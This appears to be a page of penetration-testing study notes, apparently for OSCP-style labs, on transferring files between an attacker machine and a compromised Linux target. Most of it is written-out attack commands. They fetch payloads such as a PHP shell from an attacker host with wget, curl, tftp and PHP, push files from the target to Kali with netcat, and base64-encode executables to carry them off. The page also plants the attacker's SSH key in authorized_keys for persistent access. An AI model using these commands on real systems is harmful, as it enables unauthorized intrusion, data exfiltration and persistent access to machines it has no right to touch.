> For the complete documentation index, see [llms.txt](https://infosecsanyam261.gitbook.io/tryharder/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://infosecsanyam261.gitbook.io/tryharder/transferring-files/transfer-files-on-linux.md).

# Transfer files on linux

### Set Up a Simple Python Webserver <a href="#set-up-a-simple-python-webserver" id="set-up-a-simple-python-webserver"></a>

For the examples using `curl` and `wget` we need to download from a web-server. This is an easy way to set up a web-server. This command will make the entire folder, from where you issue the command, available on port 9999.

```
python -m SimpleHTTPServer 9999
```

### Wget <a href="#wget" id="wget"></a>

You can download files using `wget` like this:

```
wget ip:9999/file.txt
```

### Curl <a href="#curl" id="curl"></a>

```
curl -O http://ip/file.txt
```

### Netcat <a href="#netcat" id="netcat"></a>

Another easy way to transfer files is by using netcat.

If you can't have an interactive shell it might be risky to start listening on a port, since it could be that the attacking-machine is unable to connect. So you are left hanging and can't do `ctr-c` because that will kill your session.

So instead you can connect from the target machine like this.

On attacking machine:

```
nc -lvp 4444 < file
```

On target machine:

```
nc ip 4444 > file
```

You can of course also do it the risky way, the other way around:

So on the victim-machine we run `nc` like this:

```
nc -lvp 3333 > enum.sh
```

And on the attacking machine we send the file like this:

```
nc ip < enum.sh
```

I have sometimes received this error:

```
This is nc from the netcat-openbsd package. An alternative nc is available
```

I have just run this command instead:

```
nc -l 1234 > file.sh
```

### With php <a href="#with-php" id="with-php"></a>

```
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
```

### Ftp <a href="#ftp" id="ftp"></a>

If you have access to a ftp-client to can of course just use that. Remember, if you are uploading binaries you must use binary mode, otherwise the binary will become corrupted!!!

### Tftp <a href="#tftp" id="tftp"></a>

On some rare machine we do not have access to `nc` and `wget`, or `curl`. But we might have access to `tftp`. Some versions of `tftp` are run interactively, like this:

```
$ tftp ip
tftp> get myfile.txt
```

If we can't run it interactively, for whatever reason, we can do this trick:

```
tftp ip <<< "get shell5555.php shell5555.php"
```

#### SSH - SCP <a href="#ssh---scp" id="ssh---scp"></a>

If you manage to upload a reverse-shell and get access to the machine you might be able to enter using ssh. Which might give you a better shell and more stability, and all the other features of SSH. Like transferring files.

So, in the `/home/user` directory you can find the hidden `.ssh` files by typing `ls -la`. Then you need to do two things.

1. Create a new keypair

You do that with:

```
ssh-keygen -t rsa -C "your_email@example.com"
```

then you enter a name for the key.

Enter file in which to save the key (/root/.ssh/id\_rsa): nameOfMyKey Enter passphrase (empty for no passphrase): Enter same passphrase again:

This will create two files, one called `nameOfMyKey` and another called `nameOfMyKey_pub`. The one with the `_pub` is of course your public key. And the other key is your private.

1. Add your public key to authorized\_keys.

Now you copy the content of `nameOfMyKey_pub`. On the compromised machine you go to `~/.ssh` and then run add the public key to the file authorized\_keys. Like this

```
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQqlhJKYtL/r9655iwp5TiUM9Khp2DJtsJVW3t5qU765wR5Ni+ALEZYwqxHPNYS/kZ4Vdv..." > authorized_keys
```

1. Log in.

Now you should be all set to log in using your private key. Like this

```
ssh -i nameOfMyKey kim@ip
```

#### SCP <a href="#scp" id="scp"></a>

Now we can copy files to a machine using `scp`

```
# Copy a file:
scp /path/to/source/file.ext username@ip:/path/to/destination/file.ext

# Copy a directory:
scp -r /path/to/source/dir username@ip:/path/to/destination
```

```
Python SimpleHTTPServer

#on Attacker
python -m SimpleHTTPServer

#on target
wget <attackerip>:8000/filename


------------------------------

Apache

#on Attacker
cp filetosend.txt /var/www/html
service apache2 start

#on target
wget http://attackerip/file
curl http://attackerip/file > file
fetch http://attackerip/file        # on BSD

----------------------------------

Netcat (From Target to Kali)

# Listen on Kali
nc -lvp 4444 > file

# Send from Target machine
nc <kali_ip> 4444 < file

-----------------


Netcat (From Kali to Target)

# on target, wait for the file
nc -nvlp 55555 > file

# on kali, push the file
nc $victimip 55555 < file


----------------------

Extra:
To send the executable file to your machine:

base64 executable
# copy the output
# paste it in a file called file.txt
# decode it and create the executable
base64 -d file.txt > executable



```

[<br>](https://sushant747.gitbooks.io/total-oscp-guide/transfering_files_to_windows.html)